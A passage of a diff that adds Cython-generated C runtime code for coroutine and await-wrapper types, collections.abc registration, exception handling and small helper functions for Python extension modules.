(unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* DictGetItem */ + #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* PyUnicode_Unicode */ + static CYTHON_INLINE PyObject* __Pyx_PyUnicode_Unicode(PyObject *obj) { + if (unlikely(obj == Py_None)) + obj = __pyx_kp_u_None; + return __Pyx_NewRef(obj); +} + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? 